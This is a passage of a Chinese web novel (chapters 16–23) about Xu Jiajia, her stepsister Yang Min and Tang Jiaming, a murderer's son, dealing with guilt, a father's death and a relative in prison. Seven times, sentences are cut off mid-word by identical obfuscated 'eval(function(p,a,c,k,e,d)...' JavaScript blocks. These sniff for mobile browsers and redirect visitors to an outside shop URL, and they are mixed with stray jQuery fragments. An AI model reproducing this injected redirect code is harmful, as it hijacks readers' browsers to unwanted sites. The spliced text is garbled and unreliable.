徐佳佳问了自己一个问题，如果，如果还有下一次，她还会不会回家？还会不会去找妈妈，哪怕只是看上一眼。哪怕还是会受到伤害。 徐佳佳告诉自己，不，她再也不会回去了。可是，如果她真的不在乎，她又怎么会问自己这样愚蠢的问题呢？ 事实上，徐佳佳问了第二个愚蠢的问题：“唐家明，你为什么要休学？” 唐家明的东西少得可怜。换洗的内衣，几张旧钞票，一个身份证。一个不大的双肩包即便是装进了全部的行李，也是空瘪得可怜。 “徐佳佳，你明知故问？” 即便徐佳佳什么也没有说。但是，她已经毁掉了唐家明的生活。又或者说，唐家明的身份，注定了他的生活，随时都有可能倒塌，毁灭。 “不管你信不信，我从来没有想过要伤害任何人。尤其是杨敏。” “我呢？” “你。是一个意外。” 16. 第 16 章 说这句话的时候，唐家明转过了身体，看着窗外。对面也是大学生的宿舍。几个男孩子正好打完篮球回来，背心短裤，流过汗水的肌肤闪闪发亮。很显然，他们还意犹未尽，在走廊里传球拍球。管宿舍的阿姨一声怒吼，男孩子们立刻收敛了声音，但是脸上的笑容依旧，嘻嘻哈哈收了球进了宿舍。 原本，唐家明也可以过那样的生活。尽情欢笑，无所顾忌，哪怕是偶尔犯点小错只会一笑了之，不会被人指指点点，过度解读，寻求家庭阴影遗传基因。 徐佳佳搜寻着所有有关唐家明的记忆，只属于他们两个人的，属于他和杨敏的，还有属于他和其他人的。她必须要承认的真相，那就是，唐家明，几乎不会犯错。几乎是一个完美的人。 活成所有人心目中完美的人，那是一件多么令人精疲力尽的事。 活着，对于每一个人来说，都是一件艰难的事。 徐佳佳的想法，发生了变化。也许，这个变化是很早以前就存在，例如杨敏，杨敏的父亲去世之后，没过多久，母亲先是送进了精神病院，然后也失去了。那个时候，杨敏还只是个孩子。那么，与此同时，徐佳佳在做什么呢？她在责怪杨敏抢走了她的父亲。徐佳佳错了吗？不。徐佳佳当然没有错。那么，错的是杨敏吗？杨敏又错在何处呢？我们是不是要寻求根源，错误的源头是李庆。对，这个是正确的。但是，李庆死了。李庆的错误，是不是应该由李庆的儿子来继承呢？ “家明，你本来的名字叫什么？” “就叫家明，李家明。我父亲给我的名字。他说，我出生了，家里都明亮了。所以叫家明。” “不说了。他那个人，说一个字都是多余的。” 听唐家明谈论李庆，这个话题令徐佳佳很不舒服。唐家明马上就意识到了，他立刻停止了。察言观色是唐家明的优点，也是他的生存之道。 “李家明。你改了姓，改成了唐家明。” “是啊，我妈妈姓唐。” “我见过她。她，还好吧。” “不好。她有严重的糖尿病和风湿病。每天晚上会痛得睡不着觉，白天去医院检查，医生也没有办法。我让她吃点止痛药，你知道的，老人家都迷信一些养生秘方，说起吃药就觉得是在吃毒药。” 唐家明把母亲的病情说得特别详细。他是故意的，他在营造一种氛围，休学，离开杨敏或者说是离开徐佳佳，是因为母亲的病。生活把唐家明变成了一个善于说谎的人，充满感情的，不厌其烦地描述细节，这些细节都是真实的，那些感情也是真实的，只不过，细节也好，感情也罢，都跟他真实的内心没有关系。 那么，唐家明在做什么呢？他在做着他一直在做的事，努力地做个一个好人。如果是一个陌生人，会高兴地说，这是好事儿啊。如果是一个知根知底的人呢？那么，他会不会说，他是装的，看着吧，总有一天他会露出马脚，他会变成和他父亲一样的人。 对于旁观者而言，不过是转瞬之间的念头，但是，对于唐家明，是活着的意义。 徐佳佳不喜欢这样的唐家明。她看着他，看了很长时间，最后，她终于看不下去了。她在他的身边蹲下来，拉着他的手，贴在自己的脸上。 唐家明的手很温暖。 “家明，我希望你活着。” “这个世上，只有你明白，也只有我明白，恐惧，害怕变成坏人的恐惧，日日夜夜，时时刻刻。你是我所认识的男孩子里面，最善良也最真诚的那一个。家明，你告诉我，你会不会变成一个坏人？我会不会变成一个坏人？” 徐佳佳哭了，哭得撕心裂肺。她不知道哪一件事让她更痛苦，是父亲，是唐家明，还是母亲的一记耳光。她还能哭出来，是因为她不甘心，不甘心被痛苦埋葬，不甘心因为痛苦变得面目全非。 人们对于正义有着不容质疑的崇拜之情。一个正义的人怎么可能做出邪恶的事情来呢？事实上，徐佳佳也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729740|189609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好，唐学明也罢，他们都是崇拜正义的人。 徐佳佳的恐惧，也正是唐家明的绝望。他试图解释清楚。但是他的脑子乱成一团，全部是别人的声音。他已经无法思考，只能混乱地跟随别人的声音作着苍白的解释。 “佳佳，我一直在努力，努力地做个好人。我想让所有人都满意。我想让所有人提到唐家明这个名字的时候，他们会说，看吧，唐家明，他是个好人。我不想听到他们说，你看，他就是唐家明，杀人犯的儿子。” “你不应该来，不应该认识我们。唐家明，你应该走，走得远远的，带着你的妈妈，去一个没有人认识你们的地方。家明，你有过机会的，你有过无数次机会开始新生活。为什么，你为什么要来到我们身边，为什么要认识我们？为什么，你居然还要我和杨敏喜欢上你？” 做一个陌生人能够获得最大限度的安全感。不会卷入纠纷，能够获得理解。如果唐家明选择做一个陌生人，对于杨敏和徐佳佳来说，应该是最安全的。 唐家明怔怔在呆着。他恐惧，为什么会陷入如此严重的错误。他的本意只是想做个好人。他的本意，只是想看一眼那个被他父亲伤害过的小女孩，只是单纯地想要做点什么。 “我知道我的父亲跟我是两个人，他是成年人，我现在也是成年人了。如果有人对我说，你父亲做过的事，跟你完全没有关系。佳佳，你别笑话我。我会感动得想哭。但是，感动是一回事。事实上，哪怕是我拿着刀子抵住了我父亲的脖子，威胁他，如果他再动我妈妈一根手指头，我就杀了他。哪怕是我已经带着母亲离开他很多年了。哪怕我根本不记得他的长相了。哪怕是闭上眼睛，捂住耳朵，捂上嘴巴，不看不听也不说。我的内心仍然有一个巨大的黑洞存在着，我唐家明，不，李家明，是李庆的儿子。佳佳，我必须要做点什么。为杨敏，为你。如果我什么也不做。那个黑洞，会把我吞噬。我不知道，我到底是活着，还是一具行尸走肉。” 17. 第 17 章 徐佳佳以为自己不会理解唐家明。或者说，三天前的徐佳佳是不会理解唐家明的。当她被父亲打得头破血流的时候，她的内心深处，仍然有着那一点点的隐隐的微弱的希望，希望父亲的心里，她这个亲生女儿，还是有那么一点点的位置的。有的时候，她甚至在安慰自己，她之所以能活着，离家出走之后，父母也没有来打扰她平静的生活，也许，大概，父亲的心里，还有最后的那么一点父女之情吧。 她知道这种渴求怜悯的心情可笑可悲，甚至是最深的耻辱。她不敢对任何人说，怕被人笑话，更怕别人因此而轻看了她，觉得她是无可药救的软弱。那么，唐家明呢？唐家明也有着同样的恐惧啊。他熟练地掌握了这个世界的生存法则，幸福地做着大多数人的应声虫，啦啦队。需要支持的时候他在鼓掌，需要谴责的时候绝对不会沉默。他的首要目标是活成所有人心目中的好人，正义的人，他必须不能让自己感情用事。不必要的人，不必要的事，不必要浪费生命。 他不得不怀疑生命的意义。不，他没有那么崇高，也没有那么无私，他怀疑不是整个人类的生命意义。他思考，他为他自己而思考：他活着的意义是什么？他已经不去思考另一个问题了：为什么他要是李庆的儿子？ 小的时候，唐家明有个邻居，其他的邻居们对这个邻居的评价是非常极端的，一半的人说他是个天才，是个博士。另外一半人说他是个疯子。唐家明曾经因为好奇，偷偷地爬进过他的屋子。他看到了堆到天花板高的满屋子的稿纸，一个头发花白的老头儿。但是老头儿给了他一盒巧克力告诉他，四十岁的生日刚刚过去不过三天。老头儿问唐家明，知道什么叫永动机吗？ 六岁的唐家明怎么可能知道呢？但是他的邻居一点也不介意，兴致勃勃地跟他解释了很久。后来，唐家明就跟人吹牛，他认识一个非常厉害的科学家，他在研究一种机器，一种什么都不需要，想要什么就有什么的机器。 小伙伴们嘲笑唐家明，那有什么了不起的，不就是百宝箱吗！受到了嘲笑的唐家明觉得自己是被邻居欺骗了，要去讨个公道。 唐家明站在邻居家的门口，看到冲天的大火。邻居没有能大火里逃出来，人们说是火太大烟太大人都失去了意识。但是几年之后，唐家明看到中学的物理教材，看到那一句：永动机是违反客观科学规律的概念，是不能够被制造出来的。 那一瞬间，唐家明哭了。 一个人努力奋斗挣扎了一辈子，突然有一天，有人告诉他，没用的，你所努力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729741|189609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的一切，都不会有结果。 唐家明看到电视新闻里反复播放的那段视频。视频根本就看不清。但是那个身影，他无比地熟悉。 于是，他拨通了警方的热线电话。 “是的，烧掉公交车的杀人犯，是我认识的人。他是我的父亲。他叫李庆。” 回忆是最残忍的事情，但是唐家明总是在陷入回忆。他记得每一个细节。父亲的酒瘾和赌瘾越来越大，喝醉了打人，赌输了也打人。父亲打人已经不再是秘密。邻居们提起邻居，就是一句话，那个李庆，已经不是人了。 唐家明说出隐藏了心底最深处的秘密。 “徐佳佳，我的父亲，他去烧公交车的前三天，他找到了我，也找到了我母亲。他说他欠了赌债他走投无路了。他求我，求我收留他。他跟我发誓以后他会改的，再也不赌了再也不喝酒了再也不打人了。他那样发誓，第一次见到的人会相信他是真的，因为他真的在哭，他会用各种恶毒的话骂自己。但是他的诅咒发誓，我见得太多了。我根本就不相信他。事实上，那些年支撑我活下去的唯一的信念，就是绝对不能相信我父亲所说的任何一个字。我相信了我的生存理念。我对着我的父亲说，滚。滚得远远的。我已经不是你的儿子了。” 18. 第 18 章 徐佳佳看着唐家明，没听见他后面都说了些什么。她和唐家明，都是陷在绝望里找不到出路的孩子。他们都在拼命的挣扎，他们越是挣扎，越是看不到出路。她不知道作为一个孩子，想要一双鞋子是不是不可饶恕的错误。她更不知道，一个被父亲殴打过无数的孩子，不再相信父亲的誓言，是不是罪大恶极。 她听到了理智的声音，不，这不是你的错。她也听到感情的声音，不，这是你的命运，这是你必须承担的责任。 “唐家明，如果有一天，我想要见你，要去哪里找你呢？”徐佳佳还是问了出来。 “徐佳佳，你会告诉杨敏真相吗？”唐家明问。 “那么你呢？你会不会把真相告诉杨敏？”徐佳佳也在问。 唐家明和徐佳佳苦涩地笑了。却原来，他们两个都是虚伪的胆小鬼。 唐家明离开了学校。徐佳佳看着他离开。唐家明说他的心里有一个黑洞，如果他什么也不做，那个黑洞会越来越大。徐佳佳的心里，也有一个黑洞，一个越来越大的黑洞。她必须要做点什么，否则那个黑洞会把她吞噬。但是，她根本就不知道，她应该怎样去做。 送走了唐家明以后，很长一段时间，徐佳佳都不敢见到杨敏。但是，杨敏什么也没做。有一次，徐佳佳在食堂里看到了杨敏。杨敏在跟同学说笑着，阳光下，她的笑容居然带着灿烂的味道。突然之间，徐佳佳感到了愤愤不平。唐家明走了，杨敏不觉得奇怪吗？她为什么不问呢？她为什么不伤心呢？ 杨敏和同学说说笑笑，从徐佳佳身边经过。徐佳佳一会儿高兴，为杨敏的高兴而高兴，一会儿嫉妒，因为她看到镜子里的自己，有一张不快乐，不讨人喜欢的脸。 快放寒假的时候，杨敏来了，她不是一个人来的，还带来了袁小宜。 徐佳佳想要把她们赶走，但是杨敏和袁小宜却是哭了起来。 这是大学生的宿舍，人来人往的，路人们把惊讶的目光投向了那个没有哭泣的，还显得很不耐烦的徐佳佳。 一阵尴尬之后，徐佳佳终于说话了。 “说吧，找我什么事？” 袁小宜拿出一张医院的诊断书。 徐佳佳看清楚了，徐盛的诊断书，肝癌晚期。诊断书是一年前的事。 “你爸爸他，现在很痛苦。”妈妈说。 “前些日子爸爸在医院住了一个月。医生现在开的都是止痛药。佳佳，爸爸他，没有多少时间了。”杨敏说。 徐佳佳努力地消化着这个消息。她想哭，但是出不来眼泪。她希 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729742|189609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 望妈妈和杨敏没有来过。但是她做不到，做不到对父亲病危的消息置之不理。 “说吧，你们想让我怎么做？”仓促中，徐佳佳想到了唐家明对付她的办法，她把选择权扔给了别人。 “佳佳，回家吧。”妈妈说。 “是啊，佳佳，回家吧。”杨敏也在说。 徐佳佳差点就点头同意了，她突然想到了一个非常关键的问题。 “是爸爸让你们来找我的吗？是爸爸想让我回家吗？” 妈妈迟疑了一下。“是啊，你爸爸他，一直都很惦记你的。” 徐佳佳马上看出来了，妈妈在说谎。她看了杨敏一眼，杨敏低着头。 很显然，让徐佳佳回家是袁小宜和杨敏的意思。或者说，想象着杨敏，徐佳佳，还有徐盛三个人坐在一起说说笑笑的场景，是袁小宜的幸福，也是袁小宜想象出来的徐盛的幸福。 徐佳佳想做的事情，是想当面问一问徐盛：他到底还记不记得，他有个女儿，他有另一个女儿，除了杨敏之外的另外一个女儿，她的名字叫做徐佳佳。 徐佳佳明白，妈妈和杨敏给她提供了一个绝好的机会。她没有理由拒绝，她的愤怒和悲伤，需要一个发泄的渠道，哪怕那个渠道是去质问一个垂死的绝症患者。 19. 第 19 章 回家的路上，三家火车票，两张的座位是连在一起，剩下的一张，在另一个车厢。徐佳佳拿了另外车厢的那一张。 徐佳佳的一切行为都在表明一种姿态，和这个家庭所有成员隔离开来的姿态。 袁小宜很绝望。她明显地感到了自己正在失去这个女儿。最艰难的时候，她没有这样的感觉。她跟女儿相依为命。每当她觉得痛苦和绝望的时候，想一想女儿，就象是寒冷的冬天抱住了暖暖的火炉。 “佳佳。”袁小宜在乞求女儿。 三个小时的路途，母女间哪怕是什么也不说，互相看上一眼，母女之间那些温馨的，互相依恋着的回忆总能找到机会涌上心头。袁小宜需要这样的机会，弥补那一记耳光在母女之间留下的伤痕。她的丈夫即将离她而去，她不能再失去女儿。 徐佳佳拒绝给母亲机会。 她原以为拒绝母亲是一件艰难的事，但是，她做到了。她无视母亲乞求的目光，穿过拥挤的人群，走到了另外一个车厢，找到了自己的座位，坐了下来。表面看来，她是那样的平静。事实上，她的大脑里充满了各种恶毒的言语，并且试图从中选择出最恶毒的那一句。 徐佳佳在火车上睡着了。她做了一个梦。梦见自己站在父亲面前，大声地说着话。她醒过来，不记得到底说了些什么。但是那种大声说话的感觉，让她备受鼓舞。她闭上眼睛，期待着再做一个梦。然后她真的又做了一个梦，又站在父亲面前大声说话。她一遍又一遍地做着那个同样的梦。在梦里，她记得她说出的每一句话，那种酣畅痛快的心情是她向往了很久，却是从来没有拥有过的。醒来后她仍然是一个字都不记得。 徐佳佳被自己的梦迷住了。她幻想着梦中的那个人就是她自己。她给自己打气，一遍又一遍地告诉自己，梦中的徐佳佳，才是真正的徐佳佳。 徐佳佳终于来到了病房，站到了徐盛的面前。 不，病床上躺着的，不是徐佳佳记忆中徐盛。记忆里的徐盛，高大强壮，背挺得笔直，身体里充满了酒精还有力量。病床上的男人，瘦成了皮包骨，身体倦缩成很小的一团。 徐佳佳觉得自己很可笑，但是同时她又在伤心。她甚至想起了童年的时候，她坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729743|189609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在这个男人的肩头。她在笑，这个男人也在笑。她的鼻子发酸，眼睛里甚至涌上了一股泪意。她想了三个小时的恶毒的话语，此时此刻，一个字也说不出来。 “小敏，你回来了。”徐盛说。 袁小宜吓坏了，她害怕徐佳佳发火，紧紧地抓住了她的手。 “佳佳，你爸爸他，他糊涂了。” 徐佳佳和杨敏都站在徐盛面前。这是一个谜。徐盛到底是只看到了杨敏，还是，把徐佳佳看成了杨敏？ 很显然，杨敏想解开这个谜团。她悄悄地离开了。 “小敏啊，我要是走了，以后谁来照顾你。”徐盛拉着徐佳佳的手。 徐佳佳想过甩开徐盛的手，转身就走。但是，她怔怔地站着，一动不动。她根本就动不了。 “佳佳，别跟你爸爸计较。他现在很难受。他已经五天没有大便了，也吃不下东西了。”袁小宜泣不成声。 徐佳佳意识到了一个真相：她回来，是见徐盛最后一面。但是，徐盛，也许是很久以前，就已经忘记了他还有一个亲生女儿，名字叫做徐佳佳。 20. 第 20 章 徐盛打了止痛针能睡一小会儿，止痛针的药效过了半个小时就能痛出一身冷汗来。袁小宜就拿了毛巾帮他擦身体。杨敏帮着徐盛按摩手脚，说是这种转移注意力的法子能缓解疼痛。袁小宜和杨敏在忙前忙后，徐佳佳插不上手，还碍手碍脚。 徐佳佳离开了病房，坐在走廊里。忙碌着的袁小宜和杨敏根本就没有意识到。反而是徐佳佳意识到了一件事，在这里，在那个家，她是多余的。 这样也好，从此无牵无挂，从此不再内疚。 一遍又一遍，徐佳佳在心里重复着。她在庆幸，庆幸自己没有一意孤行，即便是不情愿，还是回来了。即便是什么忙也帮不上，她来了就是正确，她不来，那就是错误。 她清楚地知道，她生命里最重要的部分——亲情，对亲情的渴望——都已经失去了。与此同时，离她而去的，还有爱情。其实她根本就不清楚，她跟唐家明之间到底是不是爱情。她在唐家明面前，能放下全部的戒备。她可以毫无顾忌地大笑。有时候，她会觉得，这就是爱情。但是有时候，她又觉得，她所谓的爱情，不是一个躲避风雨的港湾。 半夜十二点刚过，徐佳佳听到袁小宜的惊叫，看到医生护士在病房里急急忙忙进出。她跟着人群一起走进病房，看到医生在重重地击打徐盛的心脏。看到徐盛瘦小的身体一动不动。 那个瞬间，徐佳佳希望徐盛活着。 那是遗忘了很多年的记忆，那个早晨，徐佳佳打着赤脚冲到了楼梯口，她大声地喊着。 “爸爸，你要记得，我的脚趾很长，要买大一码。” 那是一个天晴的日子，徐盛回过头，看到了徐佳佳的光脚丫。 “知道了。我家有个大脚丫头。快回屋里去。光着脚到处跑，小心感冒。” 袁小宜崩溃了。 “算了算了，不要救了。太痛苦了，活着，太痛苦了。就让他走吧，走吧。” 袁小宜抱着徐盛的尸体放声大哭。 医生和护士们都离开了病房。 徐佳佳站在门口，看到袁小宜和杨敏在哭，她知道此时此刻，哭泣是唯一正确的事情，但是，她哭不出来。 人们之所以哭泣，是因为他们伤心。徐盛死了，徐佳佳并不伤心，她的心，空空落落，探不到底也看不到尽头。 人们之所以肆无忌惮地流泪，是因为他们还有可以依靠的人。徐佳佳，却是什么也没有了。或者说，她什么都不想要了。她跟杨敏之间可笑而可悲的争夺结束了。一开始是父亲，然后是爱情，是唐家明。袁小宜哭得没有了力气，杨敏扶着她。徐佳佳不想争了，也不想抢了。那个家，父亲还是母亲，都是属于杨敏的。 徐盛的葬礼来了很多人。认识的，不认识的。，徐佳佳看到了一个熟悉的身影，一位警察。 “你的父亲，是一个值得尊敬的人，一个好人。佳佳，你以后要象你父亲学习。做一个有正义感的人。”警察走到徐佳佳身边说。 徐佳佳问了一个问题。“你为什么要当警察？” 警察笑了。“当然为了除恶扬善，维护正义。” “维护正义？”徐佳佳用咄咄逼人的口气说话。在外人看来，她是一个刚刚失去父亲伤心的女儿，她的情绪失控，她的语言带有攻击性，都是应当体谅谅解的。 “你怎么能确定，你每一次维护的都是正义？” “你怎么能确定，我的父亲是一个完完全全的好人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729744|189609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？” “你怎么能确定，好人就不会做坏事？” “你怎么能确定，充满正义感的人，维护的就一定是正义？” 真相就在徐佳佳的嘴边，很容易就能说出来。徐佳佳很痛苦，很多年前，她曾经见到这个警察，她本来是去寻求庇护和安慰的。 “你这孩子，真是的。以后要是遇到了难事，记得来找叔叔。叔叔是警察，这是警察的职责。”警察关心地摸一摸徐佳佳的头。 徐佳佳相信警察对她的关心和善良都是真诚的，她也相信警察的正义感是真实的，充满着激情的，如同父亲对杨敏的关心和全心全意的付出，如同父亲对她的厌恶，还有故意的遗忘。 一双手牵住了徐佳佳的手。 徐佳佳已经很久没有跟人有过如此亲密的身体接触了。她的整个身体都变得僵硬。她回头，看到杨敏的笑脸。 “佳佳，从今以后，我们要相依为命了。”杨敏说。 “谁跟你相依为命？”徐佳佳想要甩开杨敏。 “大伙儿都在看着呢。佳佳，你别任性。” 徐盛的葬礼上，杨敏和徐佳佳手牵着手，感谢所有的前来参加葬礼的亲朋好友。袁小宜欣慰地笑了。那一刻，她觉得她所承受的，她所忍受的，所有痛苦，所有的磨难，都获得了回报。 从头到尾，杨敏都紧紧拽着徐佳佳的手，一刻都不放开。杨敏哭得很伤心，徐佳佳哭不出来，只能把头低着。人们叹息着说，徐盛这一辈子，两个女儿都这么孝顺，也算是求仁得仁了。 徐佳佳不由得想笑。不管怎么说，徐盛也算得上是成功人士了。盖棺论定，人们的评价令人惊奇地达到了统一：徐盛是个不可多得的好人。 21. 第 21 章 杨敏有一个秘密。她的外婆，生了两个女儿，一个是她的母亲，叫李兰。另外一个，是她的姨妈，叫李云。 十八岁以前，杨敏没有见过李云。李云在监狱，无期徒刑，换句话说，她要在监狱里呆一辈子。 一个人，犯下了怎样严重的错误，要在监狱里呆一辈子。故事总是不完整。杨敏悄悄地打听，东一句西一句地拼凑起来，得出了结论：李云杀了自己的孩子。孩子是在浴缸里溺死的，那一天是孩子的生日，浴缸里放满了水，水上漂浮着漂亮的生日蛋糕。 一个人，一个女人，居然能杀死自己的孩子！ 这样的一个人，还是孤单单地烂死在监狱吧。杨敏是这样认为的。她的厌恶走得更远一些，哪怕是监狱这样的地方，对于李云来说，也是奢侈的浪费。为什么不判她死刑呢？一命抵一命，多么简单而且痛快啊。 在杨敏的心里，她是一秒钟也不能忍受在她的亲人里，还有李云这样的耻辱存在的。杨敏逢人就说，她是独生女儿，她妈妈也是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729745|189609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 独生女儿。妈妈给外婆养老，她给母亲养老。杨敏说这些话的时候，外婆没有否认。但是，外婆去世得很早。母亲去世得也很早。 杨敏十八岁那一年，外婆留下来的老房子终于拆迁了。她去拆迁办签字，拆迁办的工作人员说，房产所有人必须都来签字。杨敏这才发现，那所老房子，有一半是属于李云的。 杨敏很不情愿地去了监狱。她只想快速地拿到李云的签字，快速地离去。至于亲情，她跟一个杀人犯根本没有亲情可谈。 22. 第 22 章 杨敏带着厌恶的心情见到了李云。 李云不可能意识不到杨敏的厌恶，她一直都在抱怨。抱怨母亲的太狠。抱怨杨敏为什么这么多年都没有来看她。抱怨李兰这么多年连个电话也没有。抱怨杨曙忠一直看她不顺眼，肯定是杨曙忠不许李兰来看她。还抱怨监狱的条件是多么地辛苦，伙食是多么的差。 杨敏实在是听不下去了，打断了李云的抱怨。 “死了。他们都死了。”杨敏面无表情地说。 “死了？你说谁死了？” “外婆，我的爸爸，还有妈妈，他们都死了。” 突然间，李云猛地坐到了地上，放声大哭，哭得歇斯底里。所有人都惊讶地看着李云。 杨敏不得不劝了一句。“阿姨，你别哭了。” 没想到，李云哭得更大声了，还伴随着夸张的动作，两只手有节奏地拍打着地面。她不仅仅在哭，还在嚎叫。嚎叫的内容是三句话：我苦命的妈啊！我苦命的姐姐啊！我苦命的姐夫啊！三句话，不断地重复。 有管教干部大声呵斥：不许喧哗！ 李云愣了一秒钟，然后哭得更大声了：我妈死了，我姐死了，我家里人都死光了，你们居然不让我哭！ 众目睽睽之下，李云哭了很久。杨敏因为要拿到李云的签字，就只能耐心地等着李云哭完。亲人去世了，李云伤心吗？应该是的。李云的痛哭是真的吗？是真的。但是除此之外呢？杨敏隐隐地感觉到了，与此同时，李云正在享受那种被注意，被关心的感觉。那不是被抛弃被忽略之后的反弹，那是与生俱来的，人们发明了各种词汇来描述这种现象，例如虚荣，例如浮夸。例如公主病。 哭过之后，李云了解了杨敏的来意。 “我不要钱。我的钱全都给你。”李云得意地说。 “不用。我可以把你的那一份给你。” “我在这个地方不需要用钱。” “不是说有钱会让你过得好一些吗？” “想让我过得好一些。不对，想让我过得很好，只有一个办法。杨敏，你每个月来我一次。陪我说说话。一个小时吧。陪我说一个小时的话。那些钱都是你的。” 杨敏既不喜欢李云，也不喜欢李云的钱。她打算离开了。李云慌了，立刻就把要求降低了。她甚至乞求杨敏，一年来监狱看她一次，陪她说说话。 不管怎样，从血缘上来说，李云是杨敏唯一的亲人。 杨敏答应了。每年来监狱一次，听李云说说话。 杨敏仔细地看着李云，她看到的是一个相貌平平的女人。杨敏想起了母亲，李兰是出了名的漂亮。会跳舞，会弹琴，再普通不过的衣服穿在李兰身上，都跟别人不一样。事实上，外表看来，杨敏并没有继承李兰的优点，反而有些象李云 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729746|189609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 所以，从一开始，杨敏就不相信唐家明爱的人是自己。徐佳佳是多么美丽优秀的女孩儿啊。如果有人放弃优秀的徐佳佳选择平凡的杨敏，要么他是个傻子，要么，他是别有用心。 唐家明当然不是个傻子。 杨敏的自尊和骄傲，怎么会容忍自己喜欢上一个傻子呢？ 是的，杨敏是个平凡的人，她从来没有考过第一名，从来没有当选为代表在众人面前发表过演讲，她穿上了新衣服，也没有人特意地跑来问她是哪里买的，偷偷地穿上一件类似的。 但是，杨敏有一对闪亮耀眼的父母。李兰和杨曙忠。李兰长得漂亮，杨曙忠帅气，他们两个舞跳得好，歌也唱得好。小的时候，杨敏很不愿意跟父母呆在一起。人们先是一脸笑容都看着李兰和杨曙忠，在看到杨敏的时候，脸上的笑容会立刻地淡了下去。 “你们的女儿啊？” “是啊。” “长得还挺秀气啊。” 人们还在继续地笑着。杨敏却是发掘出了辨别真笑和假笑的卓越的才华。 家里有钢琴，三岁的时候，李兰就开始教杨敏练琴了。李兰教琴的时候，喜欢把门打开，这样，就会有听到琴声挤到门口看热闹的人们。杨敏讨厌象只猴子一样被人围观。她喜欢看书，一个人安静地躲在桌子底下，桌布放下来，里面是只属于她一个人的小天地。 23. 第 23 章 但是，这个世上又怎么可能存在只属于一个人的小天地呢？尤其是杨敏还有一对特别的父母，他们无比热情地，一厢情愿地认定自己的孩子是与众不同的。他们会按照影视剧或者杂志推荐的方式，把她打扮成小公主。来客人的时候，他们会把她推着甚至是两只手拉着来到人群的最中间，要求表演歌舞。他们总是告诉杨敏，你是最棒的，你是最可爱的，你是最漂亮的。 有的时候，杨敏觉得自己不是父母的孩子，是他们贴在墙上的那张奖状。 杨敏终于鼓足勇气爆发了。她哭诉人们背后的议论，那些她不漂亮不优秀说不定不是父母亲生的闲言闲语。 